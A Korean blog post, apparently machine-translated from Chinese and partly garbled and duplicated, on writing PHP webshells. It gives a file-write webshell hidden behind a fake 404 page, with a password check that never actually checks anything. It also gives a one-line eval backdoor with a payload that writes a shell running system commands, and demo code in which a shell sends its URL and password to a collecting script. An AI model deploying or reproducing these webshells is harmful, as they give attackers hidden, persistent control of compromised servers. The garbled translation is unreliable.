PHP 툴 개발
PHP 포니
간단히 숨기다
로그인 비밀번호
파일 쓰기 실행
<?php
$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456
$get = $_GET['pass'];
if (!empty($get)) {
if (md5(md5($get))) {
if (!empty($_POST)) {
$path=$_POST['filepath'];
$content=$_POST['filecontent'];
# 파일 쓰기
$statement=fopen($path,"w");
# fopen('파일 경로','모드 열기')
if(fwrite($statement,$content))
# fwrite('파일 경로','파일 내용'),성공적으로 문자 수를 반환했습니다. false를 반환하지 못했습니다
{
echo '<font color="red">success</font><br/>';
}else{
echo '<font color="red">error!</font><br/>';
}
}
echo '서버ip: ' . $_SERVER['HTTP_HOST'] . ' ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
echo '절대 경로: ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
echo '현재 디렉터리: ' . __DIR__ . '<br/>';
echo '<form action="" method="post">';
echo '파일 경로<br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
echo '파일 내용 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
echo '<input type="submit" value="submit">';
echo '</form>';
} else {
echo 'password is worry';
}
} else {
?>
<!--2부-404 오류 보고 인터페이스-->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
</body>
<?php
}
?>
<!-- else 의 종료 오른쪽 괄호 -->
한마디의 말로 목마
원리분석
eval: 문자열 사용 php 코드 실행
<?php @eval($_POST['aa'])?>
?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')
assert:동 eval
스크래치백
WSExploer를 사용하여 잡기패키지 도구는 소프트웨어 프로세스를 통해 패킷을 캡처할 수 있습니다
원본:
한 마디로 목마 변형 표기법
https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg
규칙
file_get_contents() url에 직접 액세스할 수 있습니다
PHP 대마 분석
인터넷상의 대마에는 대부분 뒷문이 있고, 대마 다운로드 사이트에는 검색엔진 최적화 seo가 존재한다.
말을 사용할 때는 먼저 가방을 잡고 뒷문이 없는지 살펴야 한다.
사례 1:
이 다마회는 먼저 404.gif를 다운받았는데, 다운받았던 부분은 뒷문이 아닌 부분이 있었다.
wireshark를 사용하면 백도어가 원격 서버로 셸 정보를 보냅니다
사례 2:
가방 잡기 결과
대마코드,이대마는먼저원격서버를요청하고대마를다운로드받습니다
먼저 ascii의 암호를 풀다
echo$get 즉단, 암호화 된 것을 보고 거꾸로 복호화하려고만 생각하지 말고 출력으로 바꿔 간단하면서도 효율적입니다.
$get=file_get_contents()
$unzip=gzinflate
대마 소스코드를 해독하여 뒷문을 찾다.로그인 시 백그라운드로 데이터 전송
뒷거래를 실현하다.
앞마 쉘.php
<?php
$pass = 'admin';
if (empty($_POST)) {
echo '<form action="" method="post">';
echo 'password <input type="text" name="password" >';
echo '<input type="submit" value="submit">';
echo '</form>';
} else {
$password=$_POST['password'];
echo $password;
if ($password == $pass) {
$url = 'http://localhost/demo/audit/dama/box.php';
$path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;
echo $path;
file_get_contents($url.$path);
}
else{
echo 'pass worry';
}
}
백엔드 박스 box.php
<?php
if (!empty($_GET)) {
$url=$_GET['url'];
$f=fopen('data.txt','w');
fwrite($f,$url);
fwrite($f,'\r\n');
fclose($f);
}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
대마를 편찬하다.
대마초 문제 복구
대부분이 전삼을 인용하는 문제로 인해 생긴 것이다
1.PHP 버전 문제
1.함수 만료
2.함수 용법 변화
2.시스템 환경은 지원되지 않습니다.
허술한 틀로 실전하다
fclose($f);
}
data.txt
http://localhost/demo/audit/dama/shell.php\r\n
####대마를 편찬하다
대마초 문제 복구
대부분이 전삼을 인용하는 문제로 인해 생긴 것이다
1. PHP 버전 문제
1.함수 만료
2. 함수 용법 변화
2.시스템 환경이 지원되지 않음
### 허술한 틀로 실전하다
'개발 꿀팁 > PHP' 카테고리의 다른 글
php 카스로 SSO 싱글 로그인 및 로그아웃 기능 구현 (0) | 2022.07.09 |
---|---|
자바는 왜 PHP보다 빠릅니까? (0) | 2022.07.09 |
php7 curl을 로드할 수 없는 문제 해결 및 반성 (0) | 2022.07.08 |
PHP 개발 환경 구축(Apache+PHP+MySQL) (0) | 2022.07.08 |
PHP 상용 개발 도구 (0) | 2022.07.08 |